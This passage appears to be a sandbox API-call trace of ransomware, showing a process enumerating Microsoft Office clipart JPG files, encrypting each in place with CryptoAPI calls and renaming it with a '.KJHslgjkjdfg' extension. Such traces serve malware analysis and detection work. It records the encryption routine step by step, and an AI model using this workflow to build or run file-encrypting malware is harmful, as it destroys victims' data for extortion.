[0211.532] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.kjhslgjkjdfg")) returned 1 [0211.533] CloseHandle (hObject=0x130) returned 1 [0211.533] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c6d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341439.JPG", cAlternateFileName="")) returned 1 [0211.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.534] GetProcessHeap () returned 0x2ef0000 [0211.534] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0211.534] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0211.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0211.535] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0212.413] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0212.413] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0212.413] GetProcessHeap () returned 0x2ef0000 [0212.413] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0212.413] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0212.413] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0212.414] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0212.414] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0212.414] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0212.414] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0212.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0212.414] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0212.415] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0212.415] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0212.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.415] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4c6d, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4c6d, lpOverlapped=0x0) returned 1 [0212.428] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c70, dwBufLen=0x4c70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c70) returned 1 [0212.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.428] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4c70, lpOverlapped=0x0) returned 1 [0212.429] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0212.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.429] SetEndOfFile (hFile=0x130) returned 1 [0212.435] GetProcessHeap () returned 0x2ef0000 [0212.435] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0212.435] GetProcessHeap () returned 0x2ef0000 [0212.435] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0212.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.kjhslgjkjdfg")) returned 1 [0212.446] CloseHandle (hObject=0x130) returned 1 [0212.479] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ad8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341447.JPG", cAlternateFileName="")) returned 1 [0212.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.480] GetProcessHeap () returned 0x2ef0000 [0212.480] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0212.480] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0212.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0212.480] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0212.500] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0212.500] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0212.500] GetProcessHeap () returned 0x2ef0000 [0212.501] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0212.501] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0212.501] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0212.501] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0212.501] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0212.501] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0212.501] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0212.501] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0212.501] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0212.501] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0212.501] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0212.501] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.501] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4ad8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4ad8, lpOverlapped=0x0) returned 1 [0212.578] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ae0, dwBufLen=0x4ae0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ae0) returned 1 [0212.578] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.578] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4ae0, lpOverlapped=0x0) returned 1 [0212.579] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0212.579] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.579] SetEndOfFile (hFile=0x130) returned 1 [0212.581] GetProcessHeap () returned 0x2ef0000 [0212.582] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0212.582] GetProcessHeap () returned 0x2ef0000 [0212.582] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0212.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.kjhslgjkjdfg")) returned 1 [0212.583] CloseHandle (hObject=0x130) returned 1 [0212.583] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341448.JPG", cAlternateFileName="")) returned 1 [0212.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.585] GetProcessHeap () returned 0x2ef0000 [0212.585] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0212.585] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0212.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0212.585] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0212.686] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0212.686] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0212.686] GetProcessHeap () returned 0x2ef0000 [0212.686] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0212.686] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0212.686] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0212.686] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0212.687] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0212.687] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0212.687] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0212.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0212.687] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0212.687] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0212.687] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0212.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.687] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x52c3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x52c3, lpOverlapped=0x0) returned 1 [0212.744] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x52d0, dwBufLen=0x52d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x52d0) returned 1 [0212.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.744] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x52d0, lpOverlapped=0x0) returned 1 [0212.744] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0212.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x53a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.744] SetEndOfFile (hFile=0x130) returned 1 [0212.748] GetProcessHeap () returned 0x2ef0000 [0212.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0212.748] GetProcessHeap () returned 0x2ef0000 [0212.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0212.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.kjhslgjkjdfg")) returned 1 [0212.750] CloseHandle (hObject=0x130) returned 1 [0212.750] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7457, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341455.JPG", cAlternateFileName="")) returned 1 [0212.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.752] GetProcessHeap () returned 0x2ef0000 [0212.752] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0212.752] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0212.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0212.752] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0212.801] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0212.801] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0212.802] GetProcessHeap () returned 0x2ef0000 [0212.808] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0212.808] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0212.809] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0212.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0212.809] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0212.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0212.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0212.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0212.809] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0212.809] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0212.809] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0212.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.809] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7457, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7457, lpOverlapped=0x0) returned 1 [0212.817] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7460, dwBufLen=0x7460 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7460) returned 1 [0212.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.817] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7460, lpOverlapped=0x0) returned 1 [0212.818] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0212.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.818] SetEndOfFile (hFile=0x130) returned 1 [0212.821] GetProcessHeap () returned 0x2ef0000 [0212.821] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0212.821] GetProcessHeap () returned 0x2ef0000 [0212.821] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0212.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.kjhslgjkjdfg")) returned 1 [0212.822] CloseHandle (hObject=0x130) returned 1 [0212.822] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa9e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341475.JPG", cAlternateFileName="")) returned 1 [0212.822] CreateFileW 